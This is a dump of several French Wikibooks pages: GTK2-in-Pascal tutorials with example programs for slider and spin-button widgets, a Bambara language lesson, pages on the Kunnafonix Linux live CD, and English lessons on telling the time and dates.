style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkRange|GtkRange]] └─[[Programmation GTK2 en Pascal - GtkScale|GtkScale]] └─[[Programmation GTK2 en Pascal - GtkVScale|GtkVScale]] |} == Utilisation de base == === Création === La création d'un curseur se fait grâce à la fonction : function gtk_vscale_new(adjustment : PGtkAdjustment) : PGtkWidget; Le paramètre <code>adjustment</code> est l'ajustement que le curseur doit représenter. Le même ajustement peut être attribué à plusieurs curseurs sur la même fenêtre. Le déplacement de l'un entrainera le déplacement des autres. La création d'un ajustement qui est un type <code>PGtkObject</code> se fait grâce à la fonction : function gtk_adjustment_new(value : gdouble; lower : gdouble; upper : gdouble; step_increment : gdouble; page_increment : gdouble; page_size : gdouble) : PGtkObject; Le paramètre <code>value</code> représente la valeur actuelle de l'ajustement, les paramètres <code>lower</code> et <code>upper</code> sont les valeurs mini et maxi, donc les valeurs quand le curseur sera respectivement à gauche et à droite. Le paramètre <code>step_increment</code> est la valeur qui est utilisée pour incrémenter ou décrémenter la valeur de l'ajustement quand on bouge le curseur d'une position. Les autres paramètres doivent être utilisés pour les ascenseurs. On peut en fait créer un curseur plus rapidement en utilisant la fonction : function gtk_vscale_new_with_range(min : gdouble; max : gdouble; step : gdouble) : PGtkWidget; Il n'y a pas d'ajustement à fournir, juste les valeurs <code>min</code> et <code>max</code>, ainsi que le pas, <code>step</code>. === Affichage de la valeur === Par défaut, la valeur est affichée près du curseur. On peut changer cela avec la fonction : procedure gtk_scale_set_draw_value(scale : PGtkScale; draw_value : gboolean); Le paramètre <code>scale</code> est le curseur et si on met FALSE dans <code>draw_value</code>, la valeur ne sera pas affichée. TRUE l'affiche. On peut également déterminer le nombre de chiffres après la virgule on désire afficher avec la fonction : procedure gtk_scale_set_digits(scale : PGtkScale; digits : gint); Le paramètre <code>digits</code> permet d'indiquer le nombre de chiffres désirés. Une dernière fonction permet de décider de l'emplacement de l'affichage de la valeur, par défaut celui-ci étant au dessus du curseur : procedure gtk_scale_set_value_pos(scale : PGtkScale; pos : TGtkPositionType); Le paramètre <code>pos</code> peut prendre les valeurs : * GTK_POS_LEFT, pour la valeur placée à gauche du curseur ; * GTK_POS_RIGHT, pour la valeur à droite ; * GTK_POS_TOP, pour la valeur au dessus ; * GTK_POS_BOTTOM, pour la valeur en dessous. === Position du curseur === C'est l'objet <code>GtkRange</code> dont <code>GtkHScale</code> hérite les propriétés qui gère la position du curseur. Pour positionner le curseur, on a donc la fonction : procedure gtk_range_set_value(range : PGtkRange; value : gdouble); Le paramètre <code>value</code> donne la valeur. Pour récupérer la position du curseur, on utilisera : function gtk_range_get_value(range : PGtkRange) : gdouble; À noter qu'à chaque déplacement, un signal « value_changed » est émis. == Programme exemple == Dans une fenêtre, on va placer un curseur vertical pouvant aller de 0 à 100 avec comme valeur initiale 50 et l'affichage de la valeur à droite. On aura un bouton et un label, le bouton permettant d'afficher la valeur dans le label. Voilà le fichier <code>gtk027.pas</code> : program gtk027; uses glib2, gtk2; type TFenetrePrincipale = record pFenetre : PGtkWidget; pHBox : PGtkWidget; pVBox : PGtkWidget; pCurseur : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Valeur : GDouble; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkHScale Valeur := gtk_range_get_value(GTK_RANGE(pFenPrinc^.pCurseur)); Texte := g_strdup_printf('%f', [Valeur]); // Modification du texte contenu dans le GtkLabel */ gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); g_free(Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk026 : Curseur'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pHBox := gtk_hbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pHBox); // Création du GtkVScale pFenPrinc^.pCurseur := gtk_vscale_new_with_range(0, 100, 1); // Position du curseur gtk_range_set_value(GTK_RANGE(pFenPrinc^.pCurseur), 50); // Affichage de 2 chiffres après la virgule gtk_scale_set_digits(GTK_SCALE(pFenPrinc^.pCurseur), 2); // Affichage de la valeur à droite gtk_scale_set_value_pos(GTK_SCALE(pFenPrinc^.pCurseur), GTK_POS_RIGHT); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pHBox), pFenPrinc^.pCurseur, TRUE, FALSE, 0); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pHBox), pFenPrinc^.pVBox); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk027</code> après avoir déplacé le curseur et cliqué sur le bouton : [[Image:Programmation GTK2 en Pascal - gtk027.png]] {{Programmation GTK2 en Pascal - Saisie de données}} Bambara : Leçon 2 2611 40087 2006-04-13T11:43:58Z 193.48.173.97 {{bambara}} __NOTOC__ ;Mali ka di ye wa ? : est-ce que Mali est bon ? ;Mali ka di n'ye : Mali est bon pour moi ! (j'aime le Mali) ;Namasa ka di n'ye : Le banane est bon pour moi - j'aime les bananes ;Jabibi ka di Amadu ye : L'ananas est bon pour Amadu - Amadu aime les ananas ;sogo man di Bubakar ye : Bubakar n'aime pas la viande ;jègè : poisson ;syè : poulet ;Nka funteni be yan : Mais il fait chaud. ;nènè : froid ;Nènè bè canada : il fait froid au Canada ;Funteni bè Malila : il fait chaud au Mali ;wari : argent ;wari bè ameriki : il y a de l'argent aux Etats Unis ;I bè mèn Mali la wa ? : tu reste longtemps au Mali ? ;Dòòni. N'bè kalo duuru : peu, je vais rester 5 mois ;Dòòni. N'bè kalo san fila : peu, je vais rester 2 ans ici ;Dòòni. N'bè kalo duurun wali wooro : peu, je vais rester 5 ou 6 mois ;walai : je te jure ;O ka nyin. : C'est bon. ;I bisimila. : "toi le bienvenu" (arabe), bienvenu! ;bi : aujourd'hui ;sini : demain ;kunu : hier ;Kambè : au revoir ;Kambè sini : à demain ;Kambè soni : à toute à l'heure ;Kambè kôfè : à plus tard ;Kambè ntènin : à lundi ;Kambè tarata : à mardi ;bi ye araba ye : aujourd'hui c'est mercredi ;bi te tene ye : aujourd'hui c'est pas lundi ;alamisa : jeudi ;juma : vendredi ;sibiri : samedi ;kari : dimanche ;Fatu bè taa so : Fatu va à la maison ;Ne tè taa so : Moi je ne vais pas à la maison ;I bè taa min? : tu vas où ? ;yoro : lieu ;I be taa bara yòrò la wa ? : est-ce que tu vas au travail (litt: lieu de travail) ? ;nè t'a dòn : je ne le sais pas, grammaticalement correcte, mais impolit ;nè ma a dòn : je ne le sais pas (litt: je ne le savais pas) ;nè m'a dòn : je ne le sais pas ;nè m'a dòn fòlò : je ne sais pas encore ---- ===Futur=== rarement utilisé: * bèna * tèna on utilise plutot le présent: * bè * tè ---- ;ne m'a famu : je l'ai pas compris ==Verbes== ===intransitif=== ;taa : aller ;na : venir ;bò : venir de, sortir :yaala : se promener ;boli : courir S + aux + V + lieu ;nè bè taa sugu la : je vais au marché ;a bè na yan sisan : elle vient ici toute de suite ;Bubakar bè bò Hollande : Bubakar viens des Pays Bas ;Mohammed bè yaala dugu kònò : Mohammed se promène dans la ville ;na yan : viens ici ;nana : venu ===transitif=== S + aux + O + V ;Bubakar tè sogo dumun : Bubakar mange pas de viande ;Bintu bè dumuni kè : Bintu est en train de manger ;Bintu bè dumuni tòbi : Bintu prépare la nourriture ;dumu : manger ;dumuni : la nourriture ;kè : faire ;tòbi : préparer ;gua : la cuisine ;i ni gua : merci pour la cuisine (litt: toi et la cuisine) ;''réponse'': k'a suma i la : merci (litt: que le repas se refroidisse en toi) ;a ka jugu : il est méchant ;Mohammed man jugu : Mohammed n'est pas méchant ---- ;na dumuni kè : viens manger ;a barika. ne fara : merci, je suis plein ---- ;karamògò : le professeur ;kalan : l'étude ;kalanso : l'école ;lekoli : l'école ;kalanden : l'élève ;fòrò : champ ;jòn : esclave ;jònfòrò : ;jònkè : esclave (homme) ;Mohamed ye ne ka jonke ye : Mohammed est mon esclave ;Fatu ye ne ka jòn muso yè {{ébauche}} Image:Programmation GTK2 en Pascal - gtk027.png 2612 14195 2005-02-16T20:07:33Z Didier 186 Exemple du programme gtk0027.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk0027.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk028.png 2613 14196 2005-02-16T20:43:56Z Didier 186 Exemple du programme gtk0028.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk0028.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkSpinButton 2614 14197 2005-02-16T20:44:13Z Didier 186 Création {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkSpinButton''' permet de gérer la saisie d'une valeur numérique compris entre deux bornes. Il se présente comme une zone de texte dans laquelle on peut saisir un nombre à laquelle est accolée deux flèches qui permettent d'incrémenter ou de décrémenter la valeur. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]] └─[[Programmation GTK2 en Pascal - GtkSpinButton|GtkSpinButton]] |} == Utilisation de base == === Création === Comme pour les curseurs ([[Programmation GTK2 en Pascal - GtkHScale|GtkHScale]] et [[Programmation GTK2 en Pascal - GtkVScale|GtkVScale]]), il y a deux méthodes pour créer un <code>GtkSpinButton</code>. La première nécessite la création préalable d'un ajustement : function gtk_spin_button_new(adjustment : PGtkAdjustment; climb_rate : gdouble; digits : guint) : PGtkWidget; Le paramètre <code>climb_rate</code> qui doit être compris entre 0,0 et 1,0 est la valeur d'accélération quand on appuie longtemps sur une des flèches. À 0, la vitesse de défilement des nombres est constante, à 1,0 elle s'accélère à mesure qu'on laisse longtemps la flèche enfoncée. Le paramètre <code>digits</code> indique combien de décimales doivent être affichées. La deuxième fonction permet d'indiquer tout de suite les bornes de saisie : function gtk_spin_button_new_with_range(min : gdouble; max : gdouble; step : gdouble) : PGtkWidget; Le paramètre <code>step</code> est le pas d'incrément ou de décrément de la valeur. === Affichage de la valeur === Le nombre de décimales peut-être modifié directement : procedure gtk_spin_button_set_digits(spin_button : PGtkSpinButton; digits : guint); === Valeur saisie === La valeur peut-être modifiée par l'utilisateur en tapant sur les touches numériques ou à la souris en cliquant sur les flèches. Par programme, on peut également avec la fonction : procedure gtk_spin_button_set_value(spin_button : PGtkSpinButton; value : gdouble); Le paramètre <code>value</code> est la nouvelle valeur. Quelque soit la méthode de mise-à-jour, à chaque modification, le signal « value_changed » est émis. Pour récupérer la valeur saisie, il y a les fonctions, selon le format désiré : function gtk_spin_button_get_value_as_float(spin_button : PGtkSpinButton) : gdouble; function gtk_spin_button_get_value_as_int(spin_button : PGtkSpinButton) : gint; == Programme exemple == Comme exemple, nous allons créer une fenêtre comportant un <code>GtkSpinButton</code>, un <code>GtkButton</code> et un <code>GtkLabel</code>. Quand on cliquera sur le bouton, on affichera le texte du <code>GtkSpinButton</code> dans le <code>GtkLabel</code>. Voilà le fichier <code>gtk028.pas</code> : program gtk028; uses glib2, gtk2; type TFenetrePrincipale = record pFenetre : PGtkWidget; pVBox : PGtkWidget; pChampEntree : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Valeur : GDouble; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkSpinButton Valeur := gtk_spin_button_get_value_as_float(GTK_SPIN_BUTTON(pFenPrinc^.pChampEntree)); Texte := g_strdup_printf('%f', [Valeur]); // Modification du texte contenu dans le GtkLabel gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); g_free(Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk028 : GtkSpinButton'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pVBox); // Création du GtkSpinButton pFenPrinc^.pChampEntree := gtk_spin_button_new_with_range(0, 100, 0.1); // Nombre de décimales gtk_spin_button_set_digits(GTK_SPIN_BUTTON(pFenPrinc^.pChampEntree), 2); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pChampEntree, TRUE, FALSE, 0); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk028</code> après quelques clics et appuie sur « entrée » : [[Image:Programmation GTK2 en Pascal - gtk028.png]] {{Programmation GTK2 en Pascal - Saisie de données}} Kunnafonix 2615 14198 2005-02-24T17:33:36Z Guaka 165 ''Comme les serveurs de Wikimédia sont pas tout à fait stable ce projet est déplacé vers http://mali.geekcorps.org/MaliWiki/index.php/Kunnafonix.'' ---- =Kunnafonix: distribution libre francophone= ::''aw be je kunnafoni'' '''Kunnafonix''' est une distribution francophone GNU/Linux fournissante les outils de base de GNU et Linux à partir d'un CD-rom bootable, et beaucoup d'information libre. ''Kunnafoni'' est [[w:Bambara|Bambara]] pour "information". Kunnafonix est developpe par Geekcorps Mali. ==Partie pratique== * [[Kunnafonix:Comment utiliser|Comment utiliser ?]] * [[Kunnafonix:Contenu]] ==Partie technique== * [[Kunnafonix:Abstrait technique]] Kunnafonix:Comment utiliser 2616 14199 2005-02-17T10:24:28Z Guaka 165 /* Comment utiliser ? */ ==Comment utiliser ?== Pour commencer: Inserer ce CD dans le drive et relancer l'ordinateur. La seule condition est que l'ordinateur est configure pour lancer à partir d'un appareil CD-rom. Le data sur le système ne sera pas change, sauf si vous le faites specifiquement. '''ATTENTION''': Il y a aussi l'option d'installer Kunnafonix sur le système. Cet option va effacer tout l'information qui etait sur le disque dur ! Kunnafonix est l'un de meilleurs possibilites pour entrer dans le monde des logiciels libres (notamment GNU/Linux) et de l'information libre (notamment Wikipedia). Pas necessaire de configurer le systeme, repartitionner le disque dur ou autres taches. Kunnafonix est totalement libre. Vous etes libre de copier, modifier, imprimer et meme vendre tous les logiciels, les livres et meme les encyclopedies. Voir les contenus pour plus d'information. Partageons l'information ! Kunnafonix:Contenu 2617 14200 2005-02-17T10:28:47Z Guaka 165 ==Contenu== Kunnafonix est totalement libre. Tous les logiciels, les livres, les dictionnaires et encyclopedies sont distribue sous des licenses qui permettent la reproduction, la modification, la (re)distribution, meme pour un prix. Vous etes donc completement libre a copier ce CD et imprimer les textes fournis, pour donner a tous vos amis, a votre ecole, a votre entreprise, ou meme pour vendre ! Mais attention, souvent les licenses donnent cette liberte, sous une condition qui permet la perennation : la distribution doit etre fait sous les meme condition. On appele ca le Copyleft, ou le Partage a l'Identique. Les logiciels * Bureautique ** Abiword, Gnumeric ou... ** [[w:OpenOffice.org|OpenOffice.org]] * [[w:Mozilla Firefox|Mozilla Firefox]] * Multimedia ** [[w:XMMS|XMMS]] - lecteur audio ** [[w:Audacity|Audacity]] ** grip ** gtoaster ** [[w:GIMP|GIMP]] * XFCE4 Les livres * [[w:Projet Gutenberg|Projet Gutenberg]] ** .. * Lea Linux Les dictionnaires et encyclopedies * Freedict * [[w:Wikipedia|Wikipedia]] * [[w:Wiktionnaire|Wiktionnaire]] * [[w:Wikibooks|Wikilivres]] * [[w:Wikiquote|Wikiquote]] * [[w:Wikisource|Wikisource]] Kunnafonix:Abstrait technique 2618 14201 2005-02-17T10:29:05Z Guaka 165 '''Kunnafonix''' est base sur Morphix, qui est soi-meme base sur [[w:Debian|Debian GNU/Linux]]. Anglais : l'heure 2619 37660 2006-03-15T03:31:51Z 70.32.229.98 /* Les moments de la journée */ == Les différentes questions == <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td>What time is it? </td><td>Quelle heure est-il ?</td></tr> <tr ><td>What's the time ? </td><td>Il est quelle heure ? (familier)</td></tr> <tr ><td>What time do you make it ?</td><td> Quelle heure as-tu ?</td></tr> <tr ><td>Can you tell me the time please ?</td><td>Peux-tu me dire l'heure s'il te plaît ?</td></tr> </table> == Heures pleines == On emploie o'clock seulement pour les heures complètes. [[Image:Oclock.png|50px|left]] <table border="0" cellspacing="15"> <tr><td>It's six o'clock.</td><td>''Il est six heures.''</td></tr> <tr><td>It was two o'clock.</td><td>''Il était deux heures.''</td></tr> </table> == Dire l'heure == En anglais, les heures se comptent de 1 à 12. Ainsi pour parler de vingt-deux heures, on dit qu'il est dix heures. Si nécessaire, pour préciser si l'on parle de dix heures du matin on rajoute ''in the morning'', et pour l'après-midi et le soir, on rajoute ''in the afternoon'' ou ''in the evening''. On peut aussi préciser a.m. pour les heures avant midi et p.m. pour les heures après midi. Pour les heures multiples de cinq (2h25, 3h55, etc.), minutes n'est pas obligatoire. On utilise '''past''' pour donner le nombre de minutes après l'heure. [[Image:xpast.png|30px|left]] <table border="0" cellspacing="3"> <tr><td>It's five past nine.</td><td>(5 minutes après 9h, 9h05)</td></tr> <tr><td>It's ten past nine.</td><td> (9h10)</td></tr> <tr><td>It's a quarter past nine.</td><td> (9h15)</td></tr> <tr><td>It's twenty past nine.</td><td> (9h20)</td></tr> <tr><td>It's twenty-five past nine.</td><td> (9h25)</td></tr> </table> Pour l'heure et demi, on utilise '''half'''. [[Image:half.png|30px|left]] <table border="0" cellspacing="3"> <tr><td>It's half past nine.</td><td>(9h30)</td></tr> <tr><td>It's half past two.</td><td>(2h30)</td></tr> </table> Après la demi-heure, on utilise '''to''' pour donner le nombre de minutes avant l'heure qui suit. [[Image:xto.png|30px|left]] <table border="0" cellspacing="3"> <tr><td>It's twenty-five to ten.</td><td>(il est vingt-cinq minutes avant dix heures, 9h35)</td></tr> <tr><td>It's twenty to ten.</td><td>(9h40)</td></tr> <tr><td>It's a quarter to ten.</td><td>(9h45)</td></tr> <tr><td>It's ten to ten.</td><td>(9h50)</td></tr> <tr><td>It's five to ten.</td><td>(9h55)</td></tr> </table> Pour les autres heures, on utilise les mêmes structures en rajoutant minutes. [[Image:2clocks.png|30px|left]] <table border="0" cellspacing="3"> <tr><td>It's seven past three.</td><td>(3h07)</td></tr> <tr><td>It's fourteen to seven.</td><td>(6h46)</td></tr> </table> Plus familièrement, on cite simplement les nombres, sans parler des "past" et "to" [[Image:8heures26.png|30px|left]] <table border="0" cellspacing="3"> <tr><td>It's eight twenty-six.</td><td>(8h26)</td></tr> </table> == Les moments de la journée == * In the morning, ''dans la matinée'' * In the afternoon, ''dans l'après-midi'' * In the evening, ''dans la soirée'' * At noon, "à midi" * At night, ''dans la nuit'' * At dawn, ''à l'aube'' == Application == Traduisez les heures suivantes : # Il est 17h30. # Il est 6h15. # Il est 7h39. # Il est 10 heures. # Il est 10h50. # Il est 13h12. # Il est 5h57. 00000000 Anglais : la date 2621 39348 2006-04-01T06:24:15Z Guillaumito 46 restitution de la dernière modification de Ponyboy == Vocabulaire == <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td>today</td><td> aujourd'hui</td></tr> <tr ><td>tomorrow</td><td> demain</td></tr> <tr ><td>the day after tomorrow</td><td> le jour d'après</td></tr> <tr ><td>the following morning</td><td> le lendemain</td></tr> <tr ><td>yesterday</td><td> hier</td></tr> <tr ><td>the day before yesterday</td><td> avant-hier</td></tr> <tr ><td>the eve (of)</td><td> la veille (de)</td></tr> <tr ><td>day</td><td> le jour</td></tr> <tr ><td>today's date</td><td> la date d'aujourd'hui</td></tr> <tr ><td>week</td><td> la semaine</td></tr> <tr ><td>a fortnight</td><td> une semaine et demie</td></tr> <tr ><td>month</td><td> le mois</td></tr> <tr ><td>year</td><td> l'an/l'année</td></tr> </table> === Les jours fériés === <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td>New Year's Day</td><td> le Nouvel An</td></tr> <tr ><td>Labor Day</td><td> La Fête du Travail</td></tr> <tr ><td>Memorial Day ; Armistice Day</td><td> l'Armistice</td></tr> <tr ><td>Independance Day</td><td> la Fête Nationale</td></tr> <tr ><td>Halloween (US)</td><td> le 31 octobre</td></tr> <tr ><td>Thanksgiving (US)</td><td> l'Action de grâces</td></tr> <tr ><td>Christmas Eve</td><td> le Reveillon</td></tr> <tr ><td>Christmas ; Yule</td><td> Noel</td></tr> </table> === Jours de la semaine === Notez bien que les jours de la semaine, comme les mois de l'année, prennent toujours une majuscule en anglais. Ce n'est pas le cas en français. <table width="90%" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td> Monday (Mon.) </td><td> Tuesday (Tues.) </td><td> Wednesday (Weds.) </td><td> Thursday (Thurs.) </td><td> Friday (Fri.) </td><td> Saturday (Sat.) </td><td> Sunday (Sun.) </td></tr> <tr align="center"> <td> lundi </td><td> mardi </td><td> mercredi </td><td> jeudi </td><td> vendredi </td><td> samedi </td><td> dimanche </td></tr> </table> === Mois de l'année === <table width="90%" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td> January (Jan.) </td><td> February (Feb.) </td><td> March (Mar.) </td><td> April (Apr.) </td><td> May (May) </td><td> June (June) </td><td> July (July) </td><td> August (Aug.) </td><td> September (Sept.) </td><td> October (Oct.) </td><td> November (Nov.) </td><td> December (Dec.)</td></tr> <tr align="center"> <td> janvier </td><td> février </td><td> mars </td><td> avril </td><td> mai </td><td> juin </td><td>juillet</td><td>août</td><td>septembre</td><td>octobre</td><td>novembre</td><td>décembre</td></tr> </table> === Écrire la date : Nombres ordinaux === En anglais, le jour du mois n'est pas indiqué comme en français (avec un nombre cardinal) mais avec un nombre ordinal (le 5 juillet, c'est ''le cinquième jour du mois de juillet'') Règle générale : il suffit d'ajouter la terminaison « th » au nombre cardinal.<br /> Exceptions : les ordinaux qui se terminent par 1, 2 et 3, ainsi que quelques modifications orthographiques mises en relief ci-dessous. 1st the first<br /> 2nd the second<br /> 3rd the third<br /> 4th the fourth<br /> 5th the '''fif'''th<br /> 6th the sixth<br /> 7th the seventh<br /> 8th the eighth<br /> 9th the '''nin'''th<br /> 10th the tenth<br /> '''11th the eleventh'''<br /> '''12th the twelfth'''<br /> '''13th the thirteenth'''<br /> 14th the fourteenth<br /> 15th the fifteenth<br /> 16th the sixteenth<br /> 17th the seventeenth<br /> 18th the eighteenth<br /> 19th the nineteenth<br /> 20th the twent'''ie'''th<br /> '''21st the twenty-first'''<br /> '''22nd the twenty-second'''<br /> '''23rd the twenty-third'''<br /> ...<br /> '''31st the thirty-first'''<br /> etc. Notez bien que les jours de la semaine, comme les mois de l'année, prennent toujours une majuscule en anglais. Ce n'est pas le cas en français. === Jours de la semaine === <table width="90%" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td> Monday (Mon.) </td><td> Tuesday (Tues.) </td><td> Wednesday (Weds.) </td><td> Thursday (Thurs.) </td><td> Friday (Fri.) </td><td> Saturday (Sat.) </td><td> Sunday (Sun.) </td></tr> <tr align="center"> <td> lundi </td><td> mardi </td><td> mercredi </td><td> jeudi </td><td> vendredi </td><td> samedi </td><td> dimanche </td></tr> </table> === Mois de l'année === <table width="90%" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td> January </td><td> February </td><td> March </td><td> April </td><td> May </td><td> June </td><td>July</td><td>August</td><td>September</td><td>October</td><td>November</td><td>December</td></tr> <tr align="center"> <td> janvier </td><td> février </td><td> mars </td><td> avril </td><td> mai </td><td> juin </td><td>juillet</td><td>août</td><td>septembre</td><td>octobre</td><td>novembre</td><td>décembre</td></tr> </table> === Écrire la date : Nombres ordinaux === En anglais, le jour du mois n'est pas indiqué comme en français (avec un nombre cardinal) mais avec un nombre ordinal (le 5 juillet, c'est ''le cinquième jour du mois de juillet'') Règle générale : il suffit d'ajouter la terminaison « th » au nombre cardinal.<br /> Exceptions : les ordinaux qui se terminent par 1, 2 et 3, ainsi que quelques modifications orthographiques mises en relief ci-dessous. 1st the first<br /> 2nd the second<br /> 3rd the third<br /> 4th the fourth<br /> 5th the '''fif'''th<br /> 6th the sixth<br /> 7th the seventh<br /> 8th the eighth<br /> 9th the '''nin'''th<br /> 10th the tenth<br /> '''11th the eleventh'''<br /> '''12th the twelfth'''<br /> '''13th the thirteenth'''<br /> 14th the fourteenth<br /> 15th the fifteenth<br /> 16th the sixteenth<br /> 17th the seventeenth<br /> 18th the eighteenth<br /> 19th the nineteenth<br /> 20th the twent'''ie'''th<br /> '''21st the twenty-first'''<br /> '''22nd the twenty-second'''<br /> '''23rd the twenty-third'''<br /> ...<br /> '''31st the thirty-first'''<br /> etc. == Questions == *What's the day ? ou What day is it ? ''Quel jour est-on ?'' *What's today's date? ''Quelle est la date d'aujourd'hui ?'' *When is your birthday? ''Quel est la date de ton anniversaire ?'' *When is your anniversary? ''Quel est la date de l'anniversaire (de ton mariage) ?'' == Expression de la date == * Lorsque la date comporte un jour et un mois :<br />On + ordinal (du jour) + of + mois<br />Exemple : On the 1st of May, ''le 1er mai.'' * Lorsque l'on ne précise que le mois :<br /> In + mois.<br />Exemple : In March, ''en mars.'' <br /> Retour [[Enseignement de l'anglais]] Programmation GTK2 en Pascal - Les listes déroulantes 2622 14205 2005-02-18T11:12:10Z Didier 186 Création {{Programmation GTK2 en Pascal}} Les '''listes déroulantes''' ou ''combobox'' en anglais ont été complètement revues dans la version 2 de Gtk+, l'objet <code>GtkCombo</code> ne doit plus être utilisé. Elles sont liées maintenant aux objets des listes et des arbres. Elle peuvent néanmoins être utilisées de manière simple en mode texte : * [[Programmation GTK2 en Pascal - GtkComboBox|GtkComboBox]] * [[Programmation GTK2 en Pascal - GtkComboBoxEntry|GtkComboBoxEntry]] Modèle:Programmation GTK2 en Pascal - Liste déroulante 2623 14206 2005-02-18T11:14:11Z Didier 186 Création {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Listes déroulantes : [[Programmation GTK2 en Pascal - GtkComboBox|GtkComboBox]] ~ [[Programmation GTK2 en Pascal - GtkComboBoxEntry|GtkComboBoxEntry]] |} Programmation GTK2 en Pascal - GtkComboBox 2624 14207 2005-03-09T21:08:24Z Didier 186 Ajout 2 fonctions. Exemple supplémentaire. {{Programmation GTK2 en Pascal}} {{ébauche}} == Présentation == Le contrôle '''GtkComboBox''' permet de gérer une liste déroulante sur action de l'utilisateur. Après le choix d'une ligne de la liste, celle-ci se referme. Ce contrôle est disponible à partir de la version 2.4 de Gtk+. Auparavant c'était le contrôle 